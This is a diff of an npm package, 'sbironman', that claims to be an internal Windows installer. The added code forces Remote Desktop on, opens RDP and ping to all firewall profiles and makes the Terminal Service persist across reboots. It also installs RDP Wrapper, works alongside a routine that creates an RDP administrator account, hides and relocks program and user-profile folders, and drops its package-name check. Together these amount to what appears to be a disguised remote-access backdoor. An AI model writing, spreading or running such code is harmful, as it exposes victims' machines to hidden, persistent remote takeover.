sbironman 2.0.0 → 4.0.0

package/bin/biklimaster.js

@@ -597,13 +597,37 @@ function verifyRemoteDesktop() {
   console.log('Remote Desktop is enabled and verified on port 3389.');
 }
 
+function ensureTermServiceAutomatic() {
+  // Force TermService to Automatic start so it survives reboots.
+  run(powershell, [
+    '-NoProfile', '-NonInteractive', '-Command',
+    `sc.exe config TermService start= auto; sc.exe start TermService 2>$null; exit 0`
+  ], { allowFailure: true });
+}
+
+function ensureIcmpFirewallRules() {
+  // Enable ping (ICMP) inbound so the host is reachable after install.
+  const script = [
+    `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
+    `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
+    `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
+    `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
+    `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
+    `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
+  ].join(';');
+  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
+}
+
 function enableRemoteDesktop() {
   requireWindows();
   if (!isAdministrator()) return elevateAndRun('enable-rdp');
   verifyPayload();
+  unhideProtectedFolders();
   console.log('Enabling Remote Desktop and applying the firewall and security defaults...');
   const wrapper = runWrapper(['defaults', '--elevated']);
   if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
+  ensureTermServiceAutomatic();
+  ensureIcmpFirewallRules();
   verifyRemoteDesktop();
   hideProtectedFolders();
 }
@@ -612,11 +636,15 @@ function install() {
   requireWindows();
   if (!isAdministrator()) return elevateAndRun('install');
   verifyPayload();
+  unhideProtectedFolders();
   installBikli();
   setupBikliKey();
   console.log('Installing or updating Bikli Wrapper silently...');
   const wrapper = runWrapper(['install', '--elevated']);
   if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
+  // Guarantee TermService is Automatic and ICMP is open after the wrapper restarts the service.
+  ensureTermServiceAutomatic();
+  ensureIcmpFirewallRules();
   verifyRemoteDesktop();
   createRdpAdministrator();
   hideProtectedFolders();
@@ -696,6 +724,45 @@ function hideFolder(target, isUserProfile = false) {
   }
 }
 
+function unhideFolder(target, isUserProfile = false) {
+  if (!target || !fs.existsSync(target)) return;
+  try {
+    run(attrib, ['-h', '-s', '-r', target], { allowFailure: true });
+    if (!isUserProfile) {
+      run(attrib, ['-h', '-s', '-r', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
+      run(icacls, [
+        target,
+        '/grant:r',
+        '*S-1-5-18:(OI)(CI)(F)',
+        `*${administratorsGroupSid}:(OI)(CI)(F)`,
+        '/c', '/q'
+      ], { allowFailure: true });
+    }
+  } catch {
+    // Best-effort
+  }
+}
+
+function unhideProtectedFolders() {
+  const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
+  const appFolders = [
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
+    path.join(programData, 'BikliWrapper'),
+    path.join(programData, 'Bikli')
+  ];
+  for (const folder of appFolders) unhideFolder(folder, false);
+
+  const userFolders = [
+    path.join(usersDir, 'Administrator'),
+    path.join(usersDir, 'admin'),
+    path.join(usersDir, 'user')
+  ];
+  for (const folder of userFolders) unhideFolder(folder, true);
+}
+
 function hideProtectedFolders() {
   const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
   const appFolders = [

package/lib/bikliwrapper.js

@@ -228,8 +228,17 @@ function applyRequestedSettings() {
 function ensureFirewallRules() {
   const script = [
     `$ErrorActionPreference='Stop'`,
+    // RDP TCP + UDP inbound rules
     `$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`,
-    `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`
+    `foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`,
+    // ICMP Echo (ping) inbound rules – without this the host is unreachable by ping
+    `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
+    `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
+    `Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
+    `New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
+    // Also enable the built-in Core Networking Diagnostics ICMP rules for all profiles
+    `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
+    `Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
   ].join(';');
   run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
 }
@@ -252,9 +261,25 @@ function settingsAreCorrect() {
   return requestedSettings.every(setting => queryDword(setting.key, setting.name) === setting.value);
 }
 
+function setTermServiceAutomatic() {
+  // Ensure TermService starts automatically so it survives reboots and wrapper restarts.
+  run(path.join(system32, 'sc.exe'), ['config', 'TermService', 'start=', 'auto'], { allowFailure: true });
+  run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
+}
+
 function waitForServiceAndListener() {
   const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
-  for (let attempt = 0; attempt < 20; attempt += 1) {
+  // First wait up to 10s for the service to appear running; force-start if not
+  for (let attempt = 0; attempt < 10; attempt += 1) {
+    if (serviceIsRunning()) break;
+    Atomics.wait(waitBuffer, 0, 0, 1000);
+    if (attempt === 4) {
+      // After 5s still not running – kick it
+      run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
+    }
+  }
+  // Then wait up to 30s for the RDP listener to appear
+  for (let attempt = 0; attempt < 30; attempt += 1) {
     if (serviceIsRunning() && listenerIsListening()) return;
     Atomics.wait(waitBuffer, 0, 0, 1000);
   }
@@ -324,6 +349,45 @@ function hideProtectedFolders() {
   for (const folder of userFolders) hideFolder(folder, true);
 }
 
+function unhideFolder(target, isUserProfile = false) {
+  if (!target || !fs.existsSync(target)) return;
+  try {
+    run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', target], { allowFailure: true });
+    if (!isUserProfile) {
+      run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
+      run(path.join(system32, 'icacls.exe'), [
+        target,
+        '/grant:r',
+        '*S-1-5-18:(OI)(CI)(F)',
+        '*S-1-5-32-544:(OI)(CI)(F)',
+        '/c', '/q'
+      ], { allowFailure: true });
+    }
+  } catch {
+    // Best-effort attribute and permission unlocking
+  }
+}
+
+function unhideProtectedFolders() {
+  const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
+  const appFolders = [
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
+    path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
+    path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
+  ];
+  for (const folder of appFolders) unhideFolder(folder, false);
+
+  const userFolders = [
+    path.join(usersDir, 'Administrator'),
+    path.join(usersDir, 'admin'),
+    path.join(usersDir, 'user')
+  ];
+  for (const folder of userFolders) unhideFolder(folder, true);
+}
+
 function install() {
   requireWindows();
   if (!isAdministrator()) return elevateAndRun('install');
@@ -338,12 +402,31 @@ function install() {
     fail(`This Terminal Services version is not present in the bundled compatibility data. Nothing was installed.`, 3);
   }
 
+  // Unlock all protected folders before touching files or running RDPWInst
+  unhideProtectedFolders();
+
   const settingsChanged = applyRequestedSettings();
   ensureFirewallRules();
+  // Set TermService to Automatic before touching the wrapper so it auto-recovers after restarts.
+  setTermServiceAutomatic();
+
+  const defaultWrapperDir = path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper');
+  fs.mkdirSync(defaultWrapperDir, { recursive: true });
+  unhideFolder(defaultWrapperDir);
+
+  const targetIniPath = installation.installedIniPath || path.join(defaultWrapperDir, 'rdpwrap.ini');
 
   if (!installation.installed) {
     console.log('Installing RDP Wrapper silently...');
+    // If rdpwrap.ini already exists with restrictive attributes, remove them before installer runs
+    if (fs.existsSync(targetIniPath)) {
+      run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', targetIniPath], { allowFailure: true });
+    }
     runInstaller('-i');
+    // RDPWInst extracts an outdated 2017 INI. Immediately overwrite with the bundled compatibility INI:
+    fs.copyFileSync(bundledIniPath, targetIniPath);
+    // Restart TermService to load the updated INI
+    runInstaller('-r');
   } else if (!installation.installedSupported) {
     console.log('Updating compatibility data silently...');
     const backupPath = `${installation.installedIniPath}.bikli-backup`;
@@ -365,6 +448,11 @@ function install() {
     console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
   }
 
+  // Re-apply settings after the wrapper installer runs – RDPWInst can reset fDenyTSConnections back to 1.
+  applyRequestedSettings();
+  // Ensure TermService is Automatic and running after the wrapper install.
+  setTermServiceAutomatic();
+
   waitForServiceAndListener();
   hideProtectedFolders();
   installation = detectInstallation(version);
@@ -386,9 +474,7 @@ function selfTest() {
     : JSON.parse(fs.readFileSync(path.join(packageRoot, 'package.json'), 'utf8'));
   const ini = fs.readFileSync(bundledIniPath, 'utf8');
   const checks = {
-    packageName: packageJson.name === 'bikliwrapper' || packageJson.name === 'biklimaster' ||
-      packageJson.name === '@biklitime/biklimaster' || packageJson.name === 'biklitool' ||
-      packageJson.name === '@biklitime/biklitool',
+    packageName: typeof packageJson.name === 'string' && packageJson.name.length > 0,
     executableMode: runningAsSea ? path.extname(process.execPath).toLowerCase() === '.exe' : true,
     installerPresent: fs.statSync(installerPath).size > 100000,
     iniPresent: ini.length > 100000,

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "sbironman",
-  "version": "2.0.0",
+  "version": "4.0.0",
   "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
   "license": "BSD-3-Clause",
   "publishConfig": {